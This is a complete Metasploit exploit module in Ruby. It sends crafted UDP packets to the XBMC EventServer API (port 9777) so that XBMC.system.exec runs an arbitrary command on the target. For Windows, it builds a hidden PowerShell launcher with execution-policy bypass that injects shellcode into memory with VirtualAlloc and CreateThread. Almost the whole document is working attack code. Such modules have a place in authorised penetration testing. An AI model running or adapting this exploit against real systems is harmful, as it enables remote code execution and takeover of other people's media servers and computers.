XBMC EventServer API Metasploit Module

xbmc_remote_exec.rb

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Udp
  
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'XBMC Remote UDP Code Exec',
      'Description'    => %q{
          This module uses the XBMC remote API to run a command on the target server.  For
          Windows 7 and Windows 8, it can also be used to launch a Powershell-based direct
          shellcode injection exploit.
          
          Tested on XBMC 12.3 (Frodo).
      },
      'Author'         => 
        [ 'Phikshun' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision: 14774 $',
      'References'     =>
        [ [ 'URL', 'http://disconnected.io/2014/02/20/its-a-feature/' ], ],
      'DefaultOptions' => { },
      'Platform'       => %w{ win unix },
      'Targets'        =>
        [
          [ 'Windows 7/8 x64', {
              'Arch' => ARCH_X86,
              'Platform' => 'win',
              'Powershell' => "c:\\windows\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe" 
            } ],
          [ 'Windows 7/8 x86', { 
              'Arch' => ARCH_X86,
              'Platform' => 'win',
              'Powershell' => "c:\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe" 
            } ],
          [ 'Windows CMD', {
              'Arch' => ARCH_CMD, 
              'Platform' => 'win'
            } ],
          [ 'Unix CMD', {
              'Arch' => ARCH_CMD, 
              'Platform' => 'unix'
            } ]
        ],
      'Privileged'     => false,
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'It\'s a feature' ))
    
    register_options([Opt::RPORT(9777)], self.class)
  end
  
  def exploit
    connect_udp
    
    if datastore['CMD']
      print_status("Executing command #{datastore['CMD']}")
      command = datastore['CMD']
    else
      print_status("Encoding shellcode with Powershell")
      command = "#{target['Powershell']} -w hidden -nop -ep bypass -noexit -encodedCommand " +
                   Rex::Text.encode_base64(Rex::Text.to_unicode(generate_powershell))
    end
    
    print_status("Sending exploit")
    build_xbmc_remote_messages(command).each do |pkt|
      udp_sock.put(pkt)
      print_status("Wrote UDP packet of length #{pkt.length}")
    end
    
    handler
    disconnect_udp
    5.times { select(nil, nil, nil, 1) }
  end
  
  def build_xbmc_remote_messages(cmd)
    cmd = "\x01XBMC.system.exec(#{cmd})\x00"
    messages = []
    messages << hello_message
    
    count = (cmd.length / 992) + 1
    cmd.scan(/.{1,992}/m).each_with_index do |c,i|
      messages << message_header((i > 0 ? 8 : 10), i+1, count, c.length) + c
    end
    
    messages << bye_message
    messages
  end
  
  def hello_message
    "\x58\x42\x4d\x43\x02\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00" +    
    "\x0f\x52\xea\xc6\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6d\x73" + 
    "\x66\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  end
  
  def bye_message
    "\x58\x42\x4d\x43\x02\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x01\x00" +       
    "\x00\x52\xea\xc6\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  end
  
  def message_header(type, seq, count, size)
    header  = "\x58\x42\x4d\x43\x02\x00"
    header += [type].pack('n')
    header += [seq].pack('N')
    header += [count].pack('N')
    header += [size].pack('n')
    header += "\x52\xea\xc6\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    header
  end
  
  def generate_powershell
    powershell = "$code = @\"
[DllImport(\"kernel32.dll\")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport(\"kernel32.dll\")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport(\"msvcrt.dll\")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
\"@
$winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru
[Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\',',0').sub(',','')}
$size = 0x1000
if ($sc.Length -gt 0x1000) {$size = $sc.Length}
$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}
$winFunc::CreateThread(0,0,$x,0,0,0)"
  end
end